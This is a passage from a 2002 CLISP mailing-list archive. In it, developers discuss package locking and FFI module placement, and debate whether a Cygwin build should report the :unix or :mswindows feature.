localhost.localdomain (8.11.1/8.11.1) id g3PE27Z00160 for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 16:02:07 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] DEF-LIB-CALL-OUT and dynamic FFI & library by name (was: critique of default-foreign-language) Message-ID: <20020425160206.A133@localhost.localdomain> References: <20020424163620.B342@localhost.localdomain> <20020424192547.A215@localhost.localdomain> <200204251336.g3PDaTE15237@octagon.mrl.nyu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200204251336.g3PDaTE15237@octagon.mrl.nyu.edu>; from marcoxa@cs.nyu.edu on Thu, Apr 25, 2002 at 09:36:29AM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 07:17:01 2002 X-Original-Date: Thu, 25 Apr 2002 16:02:06 +0200 Hi, On Thu, Apr 25, 2002 at 09:36:29AM -0400, Marco Antoniotti wrote: > > [2]> (setf c::*base* (user::foreign-library "/home/prw/libhello.so.1.0.1")) > ^^^^ > > Not to be too picky, but could the FFI stuff bu put into a separate package? My understanding is that some things got placed in "USER" because some aspects of module support are broken. (I don't know if it's fixed yet) Specifically, there were problems with package locking, and initialisation of modules. I believe they will go in "FFI" when things settle down a bit. Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 25 07:59:42 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170kii-0000fH-00 for ; Thu, 25 Apr 2002 07:59:41 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 16:58:17 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 25 Apr 2002 16:59:30 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cygwin feature MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 08:00:20 2002 X-Original-Date: Thu, 25 Apr 2002 16:59:27 +0200 Marco Antoniotti wrote: > Having both :mswindows and :unix is wrong *and* it *will* break some Nobody said that these two should be set(?). Of course it's wrong. > Cygwin is a layer on top of MS Windows. This is what it is. The host > operating system is MS Windows. I beg to differ! An application compiled via cygwin has next to no means to detect that it is not running as a UNIX. Therefore the correct *feature is :UNIX, as it has been in the past. Such an application uses /foo/bar UNIX pathnames, the UNIX API for all sorts of things, probably dl_open() etc. It probably has problems interacting with MS-Windows native applications (e.g. try to call notepad.exe on the pathname /foo/bar.txt) CLISP compiled with cygwin probably has all the #+UNIX things in, e.g. POSIX extensions. It can possibly even load linux.lisp. It can support /bin/sh exec pgm or (shell "foo &") interfaces etc. pp. It's a UNIX for as far as the emulation goes. It is a #+UNIX as far as any Lisp programmer expecting UNIX behaviour and extensions goes. There are probably caveats when attempting to use kernel32.dll directly or other MS-Windows .dll from within a cygwin framework. Not to be too picky, could you please refrain from replying three lines while quoting >50? Jorg Hohle. FWIW, ixemul.library is the cygwin equivalent for AmigaOS. Had we used that, the Amiga port of CLISP would identify as #+UNIX as well. No #+AMIGA would exist. ksh, configure, ptrace(), mkfifo(), vfork() exec*(). They are all there. But it doesn't interact with native Amiga applications and libraries well, for the same reasons as above. From Joerg-Cyril.Hoehle@t-systems.com Thu Apr 25 08:17:59 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170l0P-0003aI-00 for ; Thu, 25 Apr 2002 08:17:57 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 17:16:34 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 25 Apr 2002 17:17:47 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 08:19:40 2002 X-Original-Date: Thu, 25 Apr 2002 17:17:45 +0200 Peter, > My understanding is that some things got placed in "USER" because some > aspects of module support are broken. > Specifically, there were problems with package locking, and > initialisation of modules. Thanks for the excellent summary. 1. package-locking 2. package existance. I jump in to beg for ideas: 1) Maybe package-locking can be deferred until after modules are loaded? I consider the impossibility to add new functions in low-level module code (programmer level) because of package-locks (a user-level protection) an unacceptable show-stopper. SYS, FFI or EXT are IMHO the right places for small extensions. Predumping an image with additional packages defined, then run lisp.exe|run is too much overhead on users. Easy to fix would be: For LISPFUN only: package is known, unlock it as needed. Don't remember lock state, package will remain unlocked (probably useful for additional Lisp code which will define even more functions). That doesn't help for DEF-C-CALL-OUT or DEF-CALL-IN (doesn't define LISPFUN, i.e. the module_subr_tab[], only objects/symbols, module_obect_tab[]). It helps for typical hand-written modules with functions and objects. Since the functions are defined first, the package is unlocked, so later objects can be read/added. That is, it would help o dynload.d o ffimext.d but not linux.lisp A "works for me" patch :-( 2) maybe a missing package should be created empty? Again, only posible for LISPFUN things. I wonder why this was not implemented back then. It would have been trivial to do, so I suspect good reasons (despite what Napoleon said). Maybe it would break Lisp code which does: (unless (find-package "LDAP") ;; packge is not known, load and init Lisp-level stuff (make-package "LDAP" :use #) (load #) ...) which was quite common before DEFPACKAGE was common. Any ideas? Jorg Hohle. From peter.wood@worldonline.dk Thu Apr 25 10:31:41 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170n5o-0005lY-00 for ; Thu, 25 Apr 2002 10:31:40 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id AFBD8B4F6 for ; Thu, 25 Apr 2002 19:31:34 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3PHHht00193; Thu, 25 Apr 2002 19:17:43 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) Message-ID: <20020425191743.A133@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from Joerg-Cyril.Hoehle@t-systems.com on Thu, Apr 25, 2002 at 05:17:45PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 10:32:04 2002 X-Original-Date: Thu, 25 Apr 2002 19:17:43 +0200 Hi, On Thu, Apr 25, 2002 at 05:17:45PM +0200, Hoehle, Joerg-Cyril wrote: > I consider the impossibility to add new functions in low-level > module code (programmer level) because of package-locks (a > user-level protection) an unacceptable show-stopper. SYS, FFI or EXT > are IMHO the right places for small extensions. Predumping an image > with additional packages defined, then run lisp.exe|run is too much > overhead on users. clisp-link has a variable TO_PRELOAD which works around the problem by automatically dumping the image with the necessary packages defined (You set TO_PRELOAD to the name of a file which defines the packages). This is poorly/inaccurately documented in the impnotes, and I sent Sam a patch which improves the docs slightly, but the online impnotes has not been regenerated yet. I "discovered" TO_PRELOAD after your post that you remembered "a workaround" which required the user to first dump an image with the packages defined. I had read and reread the ffi section of impnotes _many_ times, without realising that TO_PRELOAD was what I was looking for. (Mainly because it is inaccurately and misleadingly documented) I wouldn't worry about fixing _this_ aspect of the bug properly. It has been in Clisp for many years, apparently without anyone the wiser. > > Easy to fix would be: > For LISPFUN only: package is known, unlock it as needed. Don't remember lock state, package will remain unlocked (probably useful for additional Lisp code which will define even more functions). > > That doesn't help for DEF-C-CALL-OUT or DEF-CALL-IN (doesn't define LISPFUN, i.e. the module_subr_tab[], only objects/symbols, module_obect_tab[]). > > It helps for typical hand-written modules with functions and objects. Since the functions are defined first, the package is unlocked, so later objects can be read/added. > > That is, it would help > o dynload.d > o ffimext.d > but not linux.lisp > A "works for me" patch :-( A "works for me" patch is fine. Anyway, it will help anyone who writes or wants to write modules by hand. I hope to get around to hand-written modules real soon now (TM) :-) > > > 2) maybe a missing package should be created empty? > Again, only posible for LISPFUN things. > I wonder why this was not implemented back then. It would have been trivial to do, so I suspect good reasons (despite what Napoleon said). Maybe it would break Lisp code which does: > (unless (find-package "LDAP") > ;; packge is not known, load and init Lisp-level stuff > (make-package "LDAP" :use #) > (load #) > ...) > which was quite common before DEFPACKAGE was common. > > Any ideas? I have been wondering why missing packages aren't just created. I have to ask: What did Napoleon say??? Regards, Peter From samuel.steingold@verizon.net Thu Apr 25 10:46:41 2002 Received: from out009pub.verizon.net ([206.46.170.131] helo=out009.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170nKK-0008Dk-00 for ; Thu, 25 Apr 2002 10:46:40 -0700 Received: from gnu.org ([151.203.30.83]) by out009.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020425174628.KBEI21368.out009.verizon.net@gnu.org>; Thu, 25 Apr 2002 12:46:28 -0500 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 10:47:04 2002 X-Original-Date: 25 Apr 2002 13:46:36 -0400 > * In message > * On the subject of "[clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name)" > * Sent on Thu, 25 Apr 2002 17:17:45 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > 1) Maybe package-locking can be deferred until after modules are loaded? > > I consider the impossibility to add new functions in low-level module > code (programmer level) because of package-locks (a user-level > protection) an unacceptable show-stopper. this is a non-existent problem. At the LISP level you have WITHOUT-PACKAGE-LOCK. At the C level you can lock and unlock packages as easily (see package.d for examples.) Just do the right thing and you should be safe. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux As a computer, I find your faith in technology amusing. From marcoxa@cs.nyu.edu Thu Apr 25 12:09:53 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170oco-00033M-00 for ; Thu, 25 Apr 2002 12:09:50 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3PJAAX17486; Thu, 25 Apr 2002 15:10:10 -0400 Message-Id: <200204251910.g3PJAAX17486@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: dan.stanger@ieee.org CC: clisp-list@lists.sourceforge.net In-reply-to: <3CC80DC1.C7FD389B@ieee.org> (message from Dan Stanger on Thu, 25 Apr 2002 08:08:01 -0600) Subject: Re: [clisp-list] Cygwin feature References: <5.1.0.14.0.20020424205913.00a46d90@pop3.terra.es> <200204251343.g3PDh9W15272@octagon.mrl.nyu.edu> <3CC80DC1.C7FD389B@ieee.org> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 12:20:48 2002 X-Original-Date: Thu, 25 Apr 2002 15:10:10 -0400 > From: Dan Stanger > Reply-To: dan.stanger@ieee.org > X-Accept-Language: en > Content-Type: text/plain; charset=us-ascii > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.9-sf.net > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > X-Original-Date: Thu, 25 Apr 2002 08:08:01 -0600 > Date: Thu, 25 Apr 2002 08:08:01 -0600 > > Marco's idea here seems ok with me, but the (not :unix) seems > redundant. unix and mswindows > seems mutually exclusive. However, unix is in the features list in > the cygwin build, and gnu configure scripts treat cygwin as a > version of unix. Maybe we should vote on it. I strongly, strongly disagree. It does not make sense. The fact that something in the "a build" does not mean that it makes sense. I have code that assumes (rightly so) that MS Windows is not Unix and that discriminates on the features list. Please do not mess things up. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From marcoxa@cs.nyu.edu Thu Apr 25 12:24:28 2002 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170oqw-0005ZT-00 for ; Thu, 25 Apr 2002 12:24:26 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.11.6/8.9.3) id g3PJOoB17570; Thu, 25 Apr 2002 15:24:50 -0400 Message-Id: <200204251924.g3PJOoB17570@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] Cygwin feature References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 12:33:36 2002 X-Original-Date: Thu, 25 Apr 2002 15:24:50 -0400 > From: "Hoehle, Joerg-Cyril" > Content-Type: text/plain > Sender: clisp-list-admin@lists.sourceforge.net > Date: Thu, 25 Apr 2002 16:59:27 +0200 > > Marco Antoniotti wrote: > > Having both :mswindows and :unix is wrong *and* it *will* break some > > Nobody said that these two should be set(?). Of course it's wrong. > > > Cygwin is a layer on top of MS Windows. This is what it is. The host > > operating system is MS Windows. > > I beg to differ! An application compiled via cygwin has next to no > means to detect that it is not running as a UNIX. Therefore the > correct *feature is :UNIX, as it has been in the past. No it is not. Cygwin is essentially a library on top of an Operating System: MS Windows. You may object that this is an ontological argument, but that it is the way things are. Had I started to use a cygwin version of CLisp before, I would have complained before. > Such an application uses /foo/bar UNIX pathnames, the UNIX API for > all sorts of things, probably dl_open() etc. It probably has > problems interacting with MS-Windows native applications (e.g. try > to call notepad.exe on the pathname /foo/bar.txt) On both LW (and, I believe ACL) under Windows you can use Unix style pathnames, the same goes for Emacs. However, neither LW nor ACL have UNIX in their features list. > CLISP compiled with cygwin probably has all the #+UNIX things in, > e.g. POSIX extensions. It can possibly even load linux.lisp. It can > support /bin/sh exec pgm or (shell "foo &") interfaces etc. pp. It's > a UNIX for as far as the emulation goes. Yes, but it runs under MS Windows. > It is a #+UNIX as far as any Lisp programmer expecting UNIX > behaviour and extensions goes. I do not expect UNIX behavior when running under Windows. I expect to be able to write #+unix (do-something) #+mswindows (do-something-else) Soppose there is code out there (as there surely is) that assumes that the effect of DO-SOMETHING and DO-SOMETHING-ELSE are totally different, mutually exclusive and truly OS dependent. How do you propose to make a program work under the conditions of not being able to discriminate what OS you arte truly working on? > There are probably caveats when attempting to use kernel32.dll > directly or other MS-Windows .dll from within a cygwin framework. That is another problem altogether. > Not to be too picky, could you please refrain from replying three lines > while quoting >50? Sorry :} > Jorg Hohle. > FWIW, ixemul.library is the cygwin equivalent for AmigaOS. Had we > used that, the Amiga port of CLISP would identify as #+UNIX as > well. No #+AMIGA would exist. ksh, configure, ptrace(), mkfifo(), > vfork() exec*(). They are all there. But it doesn't interact with > native Amiga applications and libraries well, for the same reasons > as above. I maintain that that is wrong as well. Assuming that "UNIX" means something beyond the string of four characters, the implementation is essentially lying to the programmer. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From peter.wood@worldonline.dk Thu Apr 25 12:15:22 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170oi7-00040e-00 for ; Thu, 25 Apr 2002 12:15:19 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 79AB5B838 for ; Thu, 25 Apr 2002 21:15:10 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3PJ1VP00421; Thu, 25 Apr 2002 21:01:31 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) Message-ID: <20020425210130.A285@localhost.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from sds@gnu.org on Thu, Apr 25, 2002 at 01:46:36PM -0400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 12:33:57 2002 X-Original-Date: Thu, 25 Apr 2002 21:01:30 +0200 Hi, On Thu, Apr 25, 2002 at 01:46:36PM -0400, Sam Steingold wrote: > > * Honorable "Hoehle, Joerg-Cyril" writes: > > I consider the impossibility to add new functions in low-level module > > code (programmer level) because of package-locks (a user-level > > protection) an unacceptable show-stopper. > > this is a non-existent problem. > At the LISP level you have WITHOUT-PACKAGE-LOCK. > At the C level you can lock and unlock packages as easily (see package.d > for examples.) > OK. Now I'm confused. With a recent CVS, I was trying to test how to use mark_pack_unlocked, and as a first step recompiled dynload.d and ffimext.d with the original: #define ffi "USER" /*"CL-USER*/ changed to #define ffi "FFI" In an attempt to recreate the problem, so I could experiment with using mark_pack_unlocked. But it all compiles fine, with no complaints about locked packages!!!! And with #'foreign-address-function, etc in "FFI". What the fuck is going on? > Just do the right thing and you should be safe. Yeah! Now why couldn't _I_ have thought of that? > As a computer, I find your faith in technology amusing. War is a bug. Where can I report it? :-/ Regards, Peter From dan.stanger@ieee.org Thu Apr 25 12:44:12 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170pA3-0000Ng-00 for ; Thu, 25 Apr 2002 12:44:12 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g3PJi3R17861 for clisp-list@lists.sourceforge.net; Thu, 25 Apr 2002 13:44:03 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200204251944.g3PJi3R17861@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 12:55:05 2002 X-Original-Date: Thu, 25 Apr 2002 13:44:03 -0600 (MDT) The goal of the cygwin project IS to lie to the user or developer. Thats why it exists. Dan Stanger From tfb@ocf.berkeley.edu Thu Apr 25 13:08:07 2002 Received: from war.ocf.berkeley.edu ([128.32.191.89]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170pXC-0004PS-00 for ; Thu, 25 Apr 2002 13:08:06 -0700 Received: from apocalypse.OCF.Berkeley.EDU (daemon@apocalypse.OCF.Berkeley.EDU [128.32.191.249]) by war.OCF.Berkeley.EDU (8.11.6/8.9.3) with ESMTP id g3PK82O00180; Thu, 25 Apr 2002 13:08:02 -0700 (PDT) Received: (from tfb@localhost) by apocalypse.OCF.Berkeley.EDU (8.11.6/8.9.3) id g3PK82v14434; Thu, 25 Apr 2002 13:08:02 -0700 (PDT) From: "Thomas F. Burdick" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15560.25121.912022.393990@apocalypse.OCF.Berkeley.EDU> To: dan.stanger@ieee.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] cygwin In-Reply-To: <200204251944.g3PJi3R17861@mantis.privatei.com> References: <200204251944.g3PJi3R17861@mantis.privatei.com> X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 13:14:54 2002 X-Original-Date: Thu, 25 Apr 2002 13:08:01 -0700 dan.stanger@ieee.org writes: > The goal of the cygwin project IS to lie to the user or developer. > Thats why it exists. The goal of Cygwin is to provide a POSIX-compatibility layer on top of Windows. In a great many ways the system still looks like windows, but if you limit yourself strictly to POSIX, you're (theoretically) fine. I'd think it would be appropriate to have a :posix feature for cygwin, but now :unix. It seems like a :unix feature will cause more problems than it would solve, and if a piece of software is conditionalized such that it *can* work with #+(and unix mswindows), then the person porting it to CLISP/Cygwin can just do: (let ((*features* #+cygwin (cons :unix *features) #-cygwin *features*)) (load-system)) -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From rrschulz@cris.com Thu Apr 25 13:34:01 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170pw4-0000Db-00 for ; Thu, 25 Apr 2002 13:33:48 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g3PKXbB00294 for ; Thu, 25 Apr 2002 16:33:38 -0400 (EDT) Received: from Clemens.cris.com (da003d0527.sjc-ca.osd.concentric.net [64.1.2.16]) by marconi.concentric.net (8.9.1a) id QAA27086; Thu, 25 Apr 2002 16:22:09 -0400 (EDT) Message-Id: <5.1.0.14.2.20020425131501.01c63878@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] cygwin In-Reply-To: <200204251944.g3PJi3R17861@mantis.privatei.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 13:37:04 2002 X-Original-Date: Thu, 25 Apr 2002 13:22:55 -0700 Hi, I've been following this, and although I'd say it's not at all obvious what to do, I lean towards _not_ enabling the :mswindows feature for the Cygwin-hosted version of CLISP. For any practical purpose, the fact that there's Windows "down below" is neither apparent nor meaningfully accessible. Cygwin does accept both kinds of path names, it's true, but first and foremost it is a POSIX emulation environment. To a first, and very good approximation, Cygwin is a Unix-like environment, not Windows. Perhaps the entire feature scheme needs to be rethought in face of emulation environments like Cygwin and Wine? Randall Schulz Mountain View, CA USA At 12:44 2002-04-25, dan.stanger@ieee.org wrote: >The goal of the cygwin project IS to lie to the user or developer. >Thats why it exists. >Dan Stanger From samuel.steingold@verizon.net Thu Apr 25 13:43:53 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170q5n-0001w6-00 for ; Thu, 25 Apr 2002 13:43:51 -0700 Received: from gnu.org ([151.203.30.83]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020425204406.KFBS1987.out007.verizon.net@gnu.org>; Thu, 25 Apr 2002 15:44:06 -0500 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) References: <20020425210130.A285@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20020425210130.A285@localhost.localdomain> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Apr 25 13:44:39 2002 X-Original-Date: 25 Apr 2002 16:43:41 -0400 > * In message <20020425210130.A285@localhost.localdomain> > * On the subject of "Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name)" > * Sent on Thu, 25 Apr 2002 21:01:30 +0200 > * Honorable Peter Wood writes: > > > this is a non-existent problem. > > At the LISP level you have WITHOUT-PACKAGE-LOCK. > > At the C level you can lock and unlock packages as easily (see package.d > > for examples.) > > OK. Now I'm confused. With a recent CVS, I was trying to test how to > use mark_pack_unlocked, and as a first step recompiled dynload.d and > ffimext.d with the original: > > #define ffi "USER" /*"CL-USER*/ > > changed to #define ffi "FFI" > > In an attempt to recreate the problem, so I could experiment with > using mark_pack_unlocked. But it all compiles fine, with no > complaints about locked packages!!!! And with > #'foreign-address-function, etc in "FFI". > > What the fuck is going on? I am afraid I do not understand either what you are doing nor what you are trying to accomplish. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Trespassers will be shot. Survivors will be SHOT AGAIN! From peter.wood@worldonline.dk Thu Apr 25 23:26:14 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 170zBM-0003a6-00 for ; Thu, 25 Apr 2002 23:26:12 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id D7C6AB57C for ; Fri, 26 Apr 2002 08:25:51 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g3Q6C4600288; Fri, 26 Apr 2002 08:12:04 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module support (was: DEF-LIB-CALL-OUT and dynamic FFI & library b y name) Message-ID: <20020426081204.A239@localhost.localdomain> References: <20020425210130.A285@localhost.localdomain> Mime-Version: 1.0 Content-Type: 